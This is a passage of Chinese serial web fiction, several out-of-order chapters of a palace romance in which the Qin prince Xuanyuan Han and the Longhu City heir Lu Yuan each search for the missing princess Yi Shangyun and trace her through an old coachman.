璟帝快步过去,拦在了俩人的面前,笑着说:“寿公公,你误会朕了,朕并不是这个意思。今晚的事,的确是朕的错,未经查实,便就听信了别人的谣言。其实朕是想说,儿时朕过于贪玩,失足落水险些丧命,若不是公公,哪有朕的今日?!” 太监听着璟帝的这些话,心里却暗自在道:“当年少主人下落不明,流落在外,渺无音讯,若不是没有其他可替代的人,奴才也不会伸出援手救你。只是如今,你确是不好对付了。” 顿了顿,璟帝最后做了决定:“以后你的侄儿便就住在永安宫了,想住多久便就住多久,有你们在,还可以给母后解闷,如此一来,岂不是一举两得。” 太监听了,故作惊诧地道:“这如何使得?老奴的侄儿即非宫里的侍卫,亦非和老奴一样的太监,如何能在宫里久住?” 璟帝略显无助,遂看向太后的脸。 因为璟帝对自己的怀疑,太后心里着实有些生气。 但想一想,又道:“既然皇上都已经同意了,你们就安心住下吧!日后,让皇上看着给他在宫里安排一个无关紧要的职位便是!” 至此,太监拉着龙恩一起赶忙跪地谢恩。 “如此,老奴谢太后,谢皇上!” “感谢太后,感谢皇上!” 这时,看到太后依旧脸色阴沉。 璟帝便上前过去朝其致歉。 “对不起,母后。” “今日,的确是儿臣失礼了。” “儿臣的确不知,寿公公尚还……” “所幸,今后有寿公公在母后身边照料,儿臣便更放心了!” 太后亦教训说道:“身为皇帝,以后行事,莫要再如此捕风捉影了。” 璟帝道:“母后教训的是,儿臣日后定不会这样了!” 至此,关于永安宫的男宠这件传闻,终于总算是真相大白。 璟帝的目光,遂不经意地扫了一下,最后忽然回落在了太监刚刚端进来的木盘上。 璟帝有些好奇地问:“这是什么?” 第六百九十四章:百闻不如一见 “大人物?” “什么大人物?” “是谁?” 听了程良的话,轩辕翰深邃的眸子怔了一下,连连追问。 程良缓缓摇了摇头,只说:“目前尚还不知究竟是谁?只知道此人在龙虎城,乃至整个东宁国内的地位都举足轻重!” 一时间,轩辕翰仿佛陷入一片沉思之中。 “那会是谁呢?” “现如今,龙虎城疫情刚刚解除,梅志煊至今都尚还未在朝堂上立稳根基,想来眼下根本分身乏术,无暇亲自来刺探西秦国情。” “那么,如此举足轻重的人,在东宁国,和龙虎城内,还会有谁呢?” “难道是……龙虎城城主府的人?” “龙虎城对于东宁国至关重要,它乃东宁之命门之城,而龙虎城里的大人物,便就只有这城主府的人了!” “听闻老城主久病缠身多年,那此人……莫非就是那传闻中年少有为,足智多谋且英勇善战,堪称一夫当关,万夫莫开的龙虎城少城主陆远!” “是他要来西秦了?!” 就在轩辕翰抽丝剥茧,层层分析出结果的时候。 程良却故作玄虚地转而又说:“殿下不妨猜猜那些人聚集在皇城里在做什么?” 闻声,轩辕翰朝其投来一个冷厉的眼神。 程良即刻变得老实下来,好好说话,乖乖回禀道:“这些人被分布在城中各处,似是在到处打听关于王妃娘娘的事情。” 轩辕翰果然为此而惊了一下,道:“他们在打听云儿的事情,难道他们与云儿相识?” 程良想了想,说:“他们与王妃娘娘是否相识,属下无从可知,但是,属下觉得,他们口中所说的那个大人物,想必定与王妃娘娘熟识,否则也不会如此大费周章,派这么多人千里迢迢来潜伏在西秦做这些……” 轩辕翰回忆往事,道:“云儿曾经很长一段时间,亲自驻守在龙虎城里救治过许多病患,难道她与陆远,就是在那时候认识的?” 回过神来,轩辕翰心里疑惑地道,“那陆远,他为何要找云儿?” 一念至此,他紧忙问程良:“可知他们现在都已查到什么了?” 程良道:“王妃的丧礼,皇城之中如今已然无人不知,无人不晓。他们所能查到的,自是亦只到这里,不过如此。” 说着说着,程良忽然灵光一闪,乍出一句:“殿下,此人该不会就是永乐公主吧?!难道她被休遣回东宁,对殿下怀恨在心,带人回来寻仇了?如果是这样,那我们岂不……” 程良正打算继续展开说下去,突然瞥到轩辕翰正朝着自己,射过来满载杀气的眼神。 这才赶忙止住了思绪,亦反应过来自己说了不该说的话,于是慌乱地赶忙遮遮掩掩着说:“属下还是赶快去查那所谓的大人物究竟是谁吧?” 就在程良转身欲要离去的时候,轩辕翰忽然开口将他叫住:“等等……” 程良不得已,只能硬着头皮顿足再次朝其转回身去,问:“殿下还有什么吩咐?” 轩辕翰想了想,说:“待到龙虎城陆少城主到了西秦后,帮本王约他见一面。” “龙虎城少城主?” 程良惊诧地看向轩辕翰的脸,重复了一遍。 继而很快反应过来,说:“难道殿下的意思是……那些人口中所说的大人物,他是龙虎城的少城主陆远?” 轩辕翰单手附后,微微昂起首来,确定极了:“此大人物,非他莫属!” “是,属下明白了!” 至此,程良像是瞬间亦明白了过来,说完便转身离开了承华殿。 而轩辕翰却在嘴边默念着:“东宁国之命门,龙虎城……” 云海缭绕,翻涌之间。 约莫有月余的时间已过,此时已是深秋。 看崇山峻岭起伏,一望无际。 望云海日出,光芒万丈。 浮云出于谷底,薄雾萦绕在深处山中。 落叶沙沙,南雁啾啾。 秋风习习,蝉声渐疏。 仿佛千年的时光,俱都凝聚在这片片红叶之上。 古树静静岿然,黄叶散落,缀进一地黄毯之中。 陆远带着一队人马,风餐露宿,马不停蹄地赶路,此刻,终于踏上了西秦的国土。 欣赏着一路所到之处的沿途风景,不禁发出一声感叹:“这便就是八百里秦川之地了!早就听闻这里地域辽阔,其美令世人皆为之心驰神往,如今百闻不如一见,果然好一片壮丽山河。” 这时,一名侍卫骑马凑了过来,问:“少城主,前面马上便就到西秦皇城了。待会儿,不知三皇子所派来的人,该如何安置?” 陆远想了想,吩咐道:“等到了西秦皇城,安排他们去做一些无关紧要的搜索便是。” 侍卫想了想,又道:“朝上三皇子的心思昭然若揭,他此举明显是在示好,想要博得咱们城主府的拥戴。” 陆远对此嗤之以鼻,说:“就他?还不配让我龙虎城城主府对他俯首称臣!” 顿了顿,继而又斩钉截铁地道:“这个世上,除了永宁公主,谁都妄想得到龙虎城城主府的助力,尤其是我陆远的衷心。东宁国国君的位置,亦只能是公主一人的。若是谁妄想要抢夺,我龙虎城城主府陆远第一个便不答应。” 侍卫听了,心里有些犹豫,吞吞吐吐地说:“可我们派来的人已经找了快大半年了,公主她……” 未等侍卫将话说完,陆远便急急将其打断,肯定极了地道:“公主她吉人天相,一定还活着。” 侍卫一见其决心,亦赶忙附和着道:“是,公主一定还活着。” 顿了顿,侍卫朝其请示道:“那接下来,少城主打算怎么做?” 思虑片刻,陆远再次开口说:“想来,与那秦王轩辕翰,必不可少得先见上一面,或许会有些新的收获。我亦很想看看,他何德何能,是否有三头六臂?敢先后迎娶我国两位公主。竟然如此无能,连自己的女人都护不住,还算什么灵空战神?如有必要,我要亲自让他领教一下我城主府的厉害。” “驾!” 话刚说完,陆远便策马扬鞭,在脚下一片广袤的土地上飞驰起来,马蹄飞快,扬起一阵阵尘土来。 黄昏时分。 伴着夕阳余晖,陆远终于与自己的先遣队伍汇合在了一起。 人一到,便迫不及待地召集众人。 听闻了一众人的仔细汇报后,方才得知秦王府果真已经置丧,昭告天下秦王妃已故的事实。 更加获悉,秦王府很快便即将又有一位侧妃入府。 陆远气愤地发出一阵感叹来道:“由来只闻新人笑,有谁听到旧人哭。这个西秦秦王,还真是惯爱喜新厌旧。可怎会有人传说他冷若冰霜又不近女色呢!嫁给这样的人渣,公主还真是不值!” 一时间,在场所有人似乎俱都陷入一片迷茫与无奈之中。 陆远亦略显疲惫,遂捏紧眉心,摆了摆手,众人便都纷纷退下。 一室寂静,他就这样一个人静静地呆着。 晚风阵阵,烛火惺忪。 陆远终于动了动,拿出并凝视起手里衣上云离开龙虎城去寻麻黄前,曾亲自交到自己手上的这面玉色凤凰腰牌上。 它所承载着的,是整个龙虎城,乃至整个东宁的民命。 瞬间,衣上云离开前所说的那些话再次在他耳边回响起来。 “待本公主将麻黄带回之日,便是整个龙虎城大疫终结,龙虎城城门大开,百姓们重见天日,回家团圆之时。” 过去的往事一幕幕,尚还都是那般的记忆犹新,顿然一下就全都一一浮现了出来。 可陆远怎么都无法相信,更不能接受这一切结果。 他郁闷难过地自言自语起来,对着手里的腰牌道:“如今龙虎城一切安好,恢复如初,可公主你却再也回不来了……” 不知又过了多久。 陆远终于暗暗下定了决心:“无论如何,陆远都不相信公主会这样丢下龙虎城,丢下整个东宁国不管不顾了。有道是活要见人,死要见尸,就算寻遍天涯海角,陆远也一定会为东宁的所有子民将公主找回来的。” 翌日一大早。 陆远便收到了轩辕翰的邀请函。 一名秦王府侍卫登门将一封信亲自交到了陆远的手里:“我家殿下听闻少城主来到了西秦,特诚邀少城主在王府一聚,还望少城主赏脸!” 如此一来,果然不出陆远所料,自己的潜伏已然被轩辕翰所察觉。 索性便亦不再遮掩,于是开门见山地乐道:“如此甚好,正好,初到西秦,我亦想见大名鼎鼎的灵空战神秦王殿下一面,有劳请帮忙带路……” 秦王府。 轩辕翰早已命人设宴等待着。 侍卫一将陆远带到府里,轩辕翰便笑脸相迎:“陆少主,欢迎来到西秦!” 陆远亦将轩辕翰很快打量了一番,称赞道:“真是百闻不如一见,西秦秦王气宇轩昂,果然尊贵天成!” 轩辕翰客气地道:“请坐!” 陆远一边坐,缓缓开口,徐徐说道:“陆某此次前来贵地叨扰,是特地来感谢秦王殿下在龙虎城突逢大疫时,能够慷慨解囊,施以援手,解救我一城百姓于水火,陆某感激不尽!” 说着,便捧起了案上的一盏酒…… 第七百零二章:敬酒不吃吃罚酒 “属下参见秦王殿下!” “程将军!” 两名巡逻的官兵不约而同地跪向了马车所驶来的方向。 周围百姓亦纷纷跪倒在地一片,齐声高呼:“参见秦王殿下!” 勒马停下,程良即刻翻身下马来到几人面前,素声问:“发生了何事,在这里与百姓当街争吵,成何体统?” 老车夫方才还在人面前一副毫不畏惧的样子,嚷嚷着要到秦王府去告状。 此刻,秦王轩辕翰的马车就在自己面前,他却是对着眼前的人顿时傻了眼。 嘴里喃喃低声说:“今日怎么便就说曹操,曹操到了。” 于是,巡逻的官兵先开了口回答程良。 “启禀将军,这个车夫,前几日在大街上喊捉贼,后来那贼人便被属下擒拿送到了府衙里处置。可他今日却又当街拦住咱们说他不告了,让放人!” 程良听了,大致亦明白了所发生的事情,遂问那老车夫:“他说的,可都是实情?” 老车夫愣了一会儿,道:“是……亦不是……” 程良皱了皱眉,不解地问:“什么叫是……亦不是?国有国法,家有家规,任何人触犯律法就得受到相应的惩罚,正所谓无规矩不成方圆。即便你是原告,岂能由你想怎样便怎样?” 老车夫知道自己理亏,对此显然无可辩解,于是扑通一下,重重地在其面前跪了下来。 声泪俱下地朝其恳求道:“将军求求你,请你让他们放了顺子吧!顺子是大顺留在这世上唯一的骨血,他可千万不能有事啊!” 此情此景,程良显然又不明白了:“这是怎么回事?” 巡逻的官兵急忙解释说:“他口中所说的大顺是他的邻居,顺子,亦就是那日他所喊着要抓的贼,是那邻居夫妻俩临终前托付给他照顾的孩子。” 程良这才总算是明白过来:“原来如此!” 情到深处,老车夫悔恨不已。 “一切都是我的错,当初我应该将衣姑娘给贱内治病的钱好好收藏起来。如果不被顺子看到,他便就不会打那笔钱的主意,如此,亦就不会有如今的牢狱之灾了。” 许是在场所有人的注意力并未放在他嘴里所说的话的细节上,然此刻正在马车内静坐着,闭目养神的轩辕翰却忽然听到了“衣姑娘”三个字。 于是顿将那双深邃的眸子睁开,发出一阵沉声呼唤道:“程良!” 闻声,程良急急回头朝着马车车窗边踱步过去,道:“殿下!” 轩辕翰掀开窗帘一角,程良即刻将耳朵朝其跟前凑了过去。 片刻后,只见程良的眼睛亦顿怔了一下,再次回看向老车夫的方向。 当他再次回到众人面前时,忽然扬起声来发出一阵命令:“来人,将这车夫带走!” “是!” 顿时,便见有两名侍卫上前,驾起老车夫的两只胳膊就走。 老车夫心里不禁有些害怕起来,问道:“你们这是要做什么?你们要带我去哪里?” 程良道:“你不是想见顺子吗?本将军这就带你去见他。” 老车夫听了,顿转而惊喜地发出连连惊问。 “真的吗?” “将军说的可是真的?” “我真的能马上就见到顺子了?” 到了秦王府? 老车夫战战兢兢地被带到了承华殿,轩辕翰的面前。 看着轩辕翰墨发全束,身着一袭玄色锦袍,浑身散发出一股不怒自威,睥睨天下,尊贵天成的气质。 老车夫只觉得自己仿佛做梦一般,眼前一切都是那样的不真实。 双腿忽地一发软,像是快要站立不住,就连声音亦开始变得颤颤巍巍起来。 “你……” “你……” ”你……” “你真的就是秦王殿下……” 届时,程良朝其介绍说:“没错,这便就是你想见的,秦王府唯一的主子,秦王殿下!” “扑通”一声。 闻此,老车夫终于就连仅剩下的最后一点点力气亦完全丧失,直直瘫跪在地板上。 朝面前那尊贵的身份,赶忙叩拜道:“草民叩见秦王殿下,千岁千岁千千岁!” 轩辕翰一如既往地素声道:“你不必害怕,本王之所以让人将你带回王府来,只是有些话想问你。” 老车夫一听,明显有些吃惊。 遂稍稍抬起头来,说:“殿下有话要问老汉我?老汉只不过是一个在大街上随处可见的赶马车的车夫,除赶车外,什么都不懂,老汉不知,秦王殿下要问老汉什么?” 自打方才在街上从其口中听到‘衣姑娘’三个字,轩辕翰在回来的路上心中便早已满是希冀。 若不是因为担心璟帝在自己身边安插的耳目太多,万一不小心走漏了风声,当时他便就冲过去当街质问他了。 此刻,俨然不再与其多做废话,于是迫不及待地兀自问道:“方才本王听你在街上有说到一个人,本王想知道你与那人是什么关系?” 老车夫回忆片刻,方才乃至这几日自己说的最多的人便就是顺子了,似是完全忘记了他还提到了一个人。 于是赶忙回话:“秦王殿下说的可是顺子?顺子他是……” 岂料话刚开口,却被轩辕翰直言打断:“你是不是识得一名衣姓女子?” 闻声,老车夫果然顿愣在原地。 刹那间,似是连大气都不敢喘一个。 显然颇为紧张,心里暗暗地道:“糟了,一定是刚才在街上一时情急,怎么竟然就说漏嘴了!” 遂一想起陆远离开时对自己的叮嘱,老车夫终横下心来道:“不行,衣姑娘那么好的人,我绝对不能恩将仇报害了她!不能说,绝对不能说。” 于是,他便佯装着对此毫无所知的样子。 可心里终究还是对眼前的人甚是忌惮,便断断续续地回答轩辕翰。 “什么?” “什么衣姓女子?” “老汉并不识得。” “老汉不知秦王殿下在说什么?” 轩辕翰听了,凝视了他一会儿。 见其目光躲闪,不敢抬头直视,说话又吞吞吐吐,一看便是在撒谎。 于是顿了顿,再一次目光坚定地朝其望去,发问:“这里是秦王府,本王在亲自问你话。你最好还是想好了再回答,你是不是识得一名衣姓的女子?” 只见老车夫跪在殿前,一直不停的抖动着肩膀,将头越来越低,嘴里依旧欲言又止地发出着阵阵喃喃低语声。 “老汉……” “老汉……” 偌大寂静的殿内。 就在他犹豫不定,迟迟不肯开口的时候,轩辕翰仿佛已彻底对其失去了耐心。 忽然扬声命令道:“程良,派人去府衙传本王的话,就说城里最近盗贼猖狂,所有偷盗者俱都罪加一等。偷盗金额巨大的,一律斩首。” 程良即刻配合着走了出来,抱拳领命:“是,属下这就去通知府衙,命其立刻执行。” 看到轩辕翰已然大怒,老车夫吓的一屁股重重地跌坐在地上。 可又怕自己晚一秒,便就会威胁到顺子的性命。 于是又很快起来朝前跪倒,同时不停地向轩辕翰叩首求饶:“杀不得,杀不得,顺子他罪不至死,他不能死,不能死啊!秦王殿下请息怒,老汉说,老汉什么都说……” 这时,程良朝其狠狠地训斥:“还不快说!真是敬酒不吃吃罚酒。” 至此,老车夫终于缓缓开了口:“数月之前的一个大雨夜,老汉的确赶车送过一位衣姓的姑娘出城!” 程良听了,着急地追问说:“你可知那位姑娘的全名?” 老汉此刻心里已是害怕极了,泪流不止着说:“那姑娘是老汉有生之年见过的世间最好的姑娘,她对老汉有大恩,老汉至死也不会忘记她的名字。姑娘的名字叫做……衣上云。” 闻此,未及轩辕翰说话,程良先急急开了口,又惊又喜地看向轩辕翰的脸,道:“殿下,真的是王妃!王妃娘娘她真的还活着?!” 轩辕翰更是简直不敢相信自己的耳朵,遂急急将铺在案上的一幅衣上云的画像展开。 这画像,正是他凭藉着自己的记忆,于近几日方才刚刚完成的。 没想到,这么快便就派上了用场。 轩辕翰朝着老车夫再次确认道:“你给本王仔仔细细地看清楚了,你所见过的那位姑娘,她的模样,和这画中的女子可否相像?” 而一旁的老车夫,却似是正在独自思考着些什么? 却又很快被身旁的程良打断:“你所说的那个女子,可是这样的模样?” 老车夫这才醒过神来,放眼朝着轩辕翰手里的画像看了过去。 仔细端详了一会儿,最后肯定地道:“对,就是她!就是这位衣姑娘!” 闻此,轩辕翰顿现出一脸的欣喜,着急地问他:“你说她去哪儿了?” 不想老车夫却并未着急回答他的问题,自顾自地先问:“等等,方才你们说,这位姑娘是谁?” 程良解释道:“她便就是我们王爷唯一亲迎入门的王妃!” 老车夫遂发出一声惊叹:“你说她便是……秦王妃!” 亦是此刻,他总算是终于明白了过来:“这么说,衣姑娘腹中那孩子的父亲,是当今的秦王殿下?!” 第六百九十六章:十里长街抓贼 “抓贼啊……” “别跑……” “快抓住他。” 此时,被这阵呼喊声所吸引的陆远顿回过神来,抬头朝正前方一看。 只见脚下的十里长街之上,远远地,正迎面而来一男子。 飞快地狂奔穿梭在闹市的人群之中,并极其轻巧的闪避了周围一波又一步众人。 男子一边跑,一边嘴里急急叫喊着:“闪开,快闪开。” 而那阵与其同时一起不断喊着抓贼的声音,明显便是从其身后所传来。 可显然,周围无一人敢阻拦此亡命之徒,生怕自己受到伤害。 就在男子正好经过陆远身边,与其将要擦肩而过的时候。 陆远顺势冷不丁地伸出了一条腿去,那名男子便瞬间被绊倒,狠狠地栽倒进街边的一只垃圾框里,吃了一嘴的烂菜叶儿。 “谁?” “是谁绊倒老子的?” “不要命了是不是?” 那男子倒地后,嫌弃极了地吐掉嘴里的污秽之物,紧接着骂骂咧咧的说着。 霎时间,引来了众多围观看热闹的人。 男子一见被人围了起来,已然无法在逃,还开始对自己指指点点,议论纷纷。 便顿时恼羞成怒,竟忽然从身上掏出一把锋利的匕首,站起身叫嚣起来。 “还不快给老子出来!” “究竟是谁如此大胆,敢坏老子的事儿?” “有种做,没种承认是吗?” “快出来!” “若是再不出来的话,老子就要大开杀戒了!” 说着,目光忽然锁定了面前一位妇人手里正牵着的,约莫三岁左右的女童。 遂眼疾手快地一把将其拽了过去,紧紧束缚在自己的身前,继续朝人群里叫嚣。 “我再说一遍。” “到底是谁绊倒老子的?” “若是再不自己滚出来受死,老子便先捅死这个小丫头。” 霎时间,周围人群里无一人不瞪大了眼睛,惊恐的看着眼前所发生的一切。 那妇人早已心急如焚,吓得跪在地上哭着朝其一边磕头,一边祈求:“不是我们,不关我们的事,你放开我女儿,放了她。我求你,我求求你了。” 而那被紧紧束缚着的小女孩,手里紧紧地攥着一支糖葫芦,早已吓哭在原地,嘴里不停的喊着:“娘亲,娘亲……” 可那男子根本就无视那妇人的求饶,兀自只再一次朝人群里扬声大喝道:“现在我问最后一次,到底是……” “放开那个孩子!” 终于,人群里传出一阵声音,将其余下的所有话俱都打断。 众人纷纷朝其看去。 陆远站了出来,说:“是我!” 男子惊诧地朝其望了过去,似是被其不凡的气质怔了一下,将他一边仔细端详,一边责怪说。 “你……” “你是什么人?” “为什么要多管闲事?” 陆远略有些惊讶,缓缓开口说道:“没想到泱泱八百里秦川之地,天子脚下,十里长街之上,众目睽睽下,竟也有你这种亡命之徒。” 顿了顿,继续说:“刚才是我绊倒你的,你想做什么冲着我来,放了那个女孩。” “放了她?”男子重复了一遍陆远的话,遂发出一阵讥笑。 心想:“此人一看,便知非富即贵,我又怎会是他的对手?眼下,如果一旦没有了挟持对象,今日怕是很难再脱身。” 就在男子迟疑之际,一位衣衫褴褛的老汉,气喘吁吁地追了上来。 一看男子手里挟持了个小女孩,便吓得整个人都哆嗦起来。 稍作思量,便欲妥协并开始对其语重心长地劝导起来。 “顺子啊,你是我亲眼看着长大的,虽不是我的孩子,但更比我的孩子要亲。你听大叔的话,千万不要伤害她,如果你一旦伤了她,便就再也回不到头了。” 说着说着,似是又忽然记起了什么,再次着急地说:“对了,那些银两,我亦不要了,我都给你,你都拿去还你欠下的赌债,只要你保证不伤害那个小女孩,你都拿去。” 可即便如此,男子却依旧恨恨地道:“臭车夫,你早这样不就什么事儿都没有了吗?你家那药罐子都已经痊愈了,你留着这些钱做什么?如今我不就拿了你一点儿钱,至于跟我玩命吗?这又不是金子,等我翻本了,我加倍还你便是。” 老汉苦道:“顺子啊,你有所不知。不是我不给你,实在是因为这些银子,并不是我的,终有一日,我是要还给别人的。” 男子道:“那个女人,你们只不过就一面之缘。这辈子到你死,还不知道能不能再遇见?她既然将那些钱都给了你,你又何必耿耿于怀。还是你要留着它,带进棺材里去吗?” 老汉解释说:“顺子啊,不是这样的,我们虽然穷,但是也要知道做人要讲信誉……” 此时,看着周围围着看热闹的人越来越多。 男子似是亦已经没有了耐心,便打断了老汉的话。 “你莫要再与我胡拉乱扯了,今日都是你一路追赶嚷嚷着,才使我走到这一步的。现在好了,满大街的人都看到了,你还让我怎么全身而退,我以后还怎么见人,可能,指不定官兵亦马上就来了。” 男子越往下想越着急,越着急,便越慌张不知所措。 他惶惶不安的看着周围密密麻麻的人:“今日,我就是死也要拉个垫背的。这一切,都是你害的。” “让一下。” “让开一下。” “人在哪儿呢?” 就在两人说话间,闻讯而来的官兵亦已找了过来。 那男子见状,一怒之下,便高高扬起了手中握着的匕首,欲要朝小女孩刺去:“去死吧!” 就在这千钧一发之际,陆远小心翼翼地从身上摸出一块碎银子来。 霎时间,只闻“咣铛”一声响,那把匕首便就落在了小女孩面前的地板上。 男子顿觉自己握着匕首的胳膊袭来一阵酥麻感,便就本能一般地用另一只手去扶。 就是此刻,两名官兵三部并作两步上前顷刻间便将那男子控制住。 妇人亦乘机快步上前将自己的女儿一把捞了起来,紧紧抱在怀里,安慰她。 “妞妞,别怕。” “没事了,没事了。” 继而转身来到陆远的身旁,朝其屈膝行礼,连连致谢:“今日幸亏公子出手相助,否则妞妞怕是就凶多吉少了。” 陆远回道:“大嫂不必客气,妞妞受了惊吓,快点带她回家去吧。” “多谢公子!” 妇人说完,便就抱着孩子急急离去。 男子亦被官兵带走。 霎时间,周围传出掌声不断来。 人群散去。 老汉紧紧盯视着再次回到自己手中的钱袋,哭笑不得地感慨说:“人生多少悲欢离和,何尝不都是银子惹得祸!” 遂一回过神来,赶忙朝身边的陆远致谢:“今日真是多谢公子了,方才如果不是公子出手,一旦铸成大错,顺子怕是这辈子就完了。” 陆远礼貌地回他:“举手之劳而已,老伯不必客气。” 老汉这才似是反应了过来:“看公子的面相和口音,莫不是西秦人?” 陆远笑了笑,道:“老伯好眼力,我的确不是西秦人士,我来西秦,只是为了寻一个人。” 老汉问:“那……公子可已找到想找的人了?” 陆远摇了摇头,有些无奈:“尚还没有找到。” 老汉遂想了一瞬,道:“公子有所不知,我是个老车夫。平日见的人最多,公子不妨说说看要找的人是什么样的,或许我能帮助你。” 想着也是,于是,陆远忽地想起什么来。 只见他很快便从怀里掏出一张女子画像来。 这张画像,正是陆远亲自凭借着自己与衣上云相处的日子里的那些记忆,花了许多功夫,方才终于完成的。 果然,那老汉一眼便认出了陆远递到自己面前来的画像上的女子。 惊诧极了地问:“你……你是怎么认识这位姑娘的?” 本只打算试试而已,可见居然是这个结果,陆远亦顿时惊呆了:“老伯你真的认识画像中的人?” 老汉垂首看着手里握着的钱袋,道:“公子有所不知,这些银两,便就是数月前,画像中的这位姑娘赠予我的。” 回忆过往,老车夫至今似是都心里对其念念不忘着。 “那日,西秦城里忽然而至一场大暴雨,仿佛天都要塌了,似是要将整座皇城都淹没了一般。那姑娘也不知遇到了什么急事,执意要我送她去草原,姑娘她甚是善良,途中,路途崎岖实在走不下去了,又知道我家中有病妻等候,便将这银两赠予我让我独自返回。” …… 听了车夫所说的一切,陆远不禁感叹衣上云竟然独自在这里发生了这么多事情。 于是,他开口最后朝老汉确认:“老伯可知那女子叫什么吗?” 老汉急忙回忆着。 “叫……” “喔,对了,姑娘说她叫衣上云。” 陆远顿时惊呆了。 “真的是公主?” “公主真的还活着?” 于是,他赶忙再次朝其确认:“老伯你说这位姑娘,她去了草原?” 每每想起她,老汉至今都于心不忍着:“真是造孽呀,那姑娘肚子都那么大了,他的夫君也不管他,任由她一个人翻山越岭去那么远的地方。” 陆远听了,吃惊地道:“什么?你说她怀孕了?” 第六百九十七章:出手非一般阔绰的下人 “什么?你说她怀孕了?” 老汉肯定极了地道:“是啊,都已经很显怀了!看那样子,左不过年底腊月左右应该就会临盆了。” 闻此,陆远瞬间将两道浓密的剑眉紧紧拧在一起,心里暗自想着:“怎么会这样?” 这时,老汉方才回过神来,询问道:“对了,还不知道公子贵姓?是衣姑娘的什么人?” 陆远想了想,说:“实不相瞒,在下陆远,乃东宁国龙虎城人士。衣姑娘,是在下的少主人。因府上发生了一些事情,少主人出门寻找解决之策,从此便就没了音讯。府中上下甚是为其担心,故而命在下出来寻她,幸亏今日在此遇到了老伯,否则在下至今都不知该往何处去寻?” 老汉将其上下仔细打量了一番,瞬间恍然大悟:“我猜得果然没错,真是大户人家的姑娘,就连府里的下人,看起来都是这般的气宇轩昂,尊贵不凡。” 已然打探到了衣上云的去向,陆远便迫不及待的准备亦往草原上寻去。 一念至此,他赶忙将身上的钱袋亦取了下来,递到了老汉手里,朝其致谢:“感谢老伯今日告知这么多关于我家少主人的事情,亦多谢老伯在去往草原的路途中,对我家少主人的悉心照顾。” 见此,老汉赶忙推手拒绝:“使不得,使不得,姑娘不但将自己所有的盘缠都给了我,还赐我良方,治愈了我那久病缠身的贱内,我岂敢还再收公子的银两?” 陆远却道:“这些银两,同我家少主人的性命相比,甚是微不足道。老伯你务必得拿着,万万不可拒绝。” 老汉一个劲地回拒:“使不得,使不得,这万万使不得。” 不得已,陆远只能扬声喝了句:“叫你拿着,便拿着,休要再啰嗦。” 突然受到惊吓,瞬觉一阵激凌袭来,老汉吓的本能般果然一把将陆远手里的钱袋子稳稳地接住。 正要打算离去,陆远忽然想起方才在秦王府离开时所发生的一幕。 他说:“陆某不管你心里究竟打的什么主意,陆某想要说的是,这次,陆某一定会找到公主。无论秦王殿下如何阻拦,陆某一定会带公主回东宁,此后再也不踏进西秦半步。” 轩辕翰亦毫不退让,道:“本王亦想告诉陆少城主,这天下,本王什么都可以舍弃,唯独云儿,不管是谁,本王决不会放手。” 陆远心里遂暗暗地道:“不行,这个消息,绝对不能让那个西秦秦王知道。” 一念至此,陆远朝那老汉又认真地叮嘱了一句:“关于我家少主人的去向,还请老伯守口如瓶,日后再也不要跟任何人提起。” 老汉不解地问:“这是为何?” 陆远稍作思量,道:“因为此时,有很多人都在找我家少主人,如果少主人被那些人找到了,便就会有莫大的危险。我想老伯你,也一定不想我家少主人深陷险境,于危险之中对吧?” 老汉赶忙连连摇头,道:“公子你放心,我保证再也不会同任何人讲起这件事来,我绝对不会做对姑娘不利的事情。” 陆远遂拱手朝其道谢:“多谢老伯!老伯保重。” 老汉亦对其道:“公子保重!” 至此,陆远终于转身疾步离去。 没走出两步,陆远似是忽然又想起了什么,于是顿足停下。 并未转回身去,只是扬起声来说了些话。 “无论是我,亦或是我家少主人留给你的那些银两,老伯尽管拿去购置些御寒的衣物,天气渐渐转凉了,老伯保重身体。” 即便现在,老汉却始终都不这么认为,他坚持说:“那怎么行,这些银两,我日后自是一定要亲自还给姑娘呢!” 陆远肯定极了地告诉他:“不用了,这辈子,我家少主人是绝对再也不会踏上西秦的国土来了。” 说完,便大步流星,头再也不回地决绝离去。 闻此,老汉顿现出一脸的失望。 “就像活菩萨一般那么好的姑娘,有生之年,难道我真的再也见不了她一面了吗?” 望着陆远离去的背影,老汉默默地自言自语道。 遂漫不经心地打开手里的钱袋来一看,瞬间睁大了眼睛,惊愕不已。 “这……” “这哪里是银两?” “这分明就是满满一袋子的金豆子呀!” “这辈子,我也只不过从车行掌柜的那里见过两三颗而已。此刻,却是真真切切地捧在我自己手里,还这么多……” “东宁国……” “龙虎城……” “他们到底是什么人?” “一个下人而已,出手居然如此非一般阔绰。” 秦王府。 转眼已是三日又过。 却依然没有传回有关衣上云的任何新的消息。 轩辕翰早已是心急如焚。 “云儿,你到底去哪儿了?” “你还好吗?” “我们的孩子……” “还好吗?” “为什么要让所有人都认为你已经死了?为什么?” “你处心积虑做这一切,到底是为了什么?” “到底发生了什么?” “为什么你要做任何事情,都不事先与本王商量一下?” “在你的心里,真的有将本王当作你的夫君吗?” 殿内烛火摇曳。 忽然之间,处处都现出她的影子来。 她的一颦一笑。 可醒过来,一切都只不过是自己的幻想而已。 到底有多喜欢,才能让一个人的眼里,心里,处处无时无刻都只是一个她而已。 这时,程良走进殿内来。 一见轩辕翰失魂落魄的模样,便知他此刻又是在惦记着衣上云了。 于是,有些无奈,遂心里默默地叹了口气。 一见程良进来,轩辕翰立马打起精神来,满眼希冀地问:“怎么样?找到云儿了吗?” 程良摇摇头。 轩辕翰又问:“丁香呢?查到丁香的下落了吗?” 程良还是摇了摇头。 “衣上坤,衣上坤那里呢,他怎么说?” 程良皆都无可奈何:“无缘无故,衣上坤肯定没有胆量做这些?这次的事,一看便是娘娘出的主意,就连张致远都什么也不说,衣上坤便更加不会背叛王妃娘娘的意愿。从始至终,都一口只咬定王妃娘娘就是殁了。” 轩辕翰想了想,又问。 “易三少……” “易三少呢……” “发生了这么大事,易三少不可能连出现都不出现。” “如果云儿真的死了,易三少肯定不会轻易放过本王的。” “他一定会寻上门来,掀了整个秦王府,亦要与本王算账的。” “他人呢?” “他怎么不来找本王算账啊?” “他倒是来呀?” “来找本王呀。” 程良实在看不下去了,开口将其阻止:“殿下您不要这样?” 可轩辕翰依旧却没有停下来的思绪。 “他没来……” “易三少没来……” “既然他没来。” “那就表示,云儿根本就没有死。” “他亦知道云儿没死,所以便不屑来找本王。” “她在哪儿?” “她到底在哪儿?” “她还怀着本王的骨肉。” “本王不能再这样等下去了。” “本王要亲自去找她。” “本王一定能将她找回来……” 说着,轩辕翰拔腿便欲朝外奔去。 程良一见其仿佛魔怔了的模样,赶忙将其从身后一把死死抱住:“殿下您冷静一点儿!” 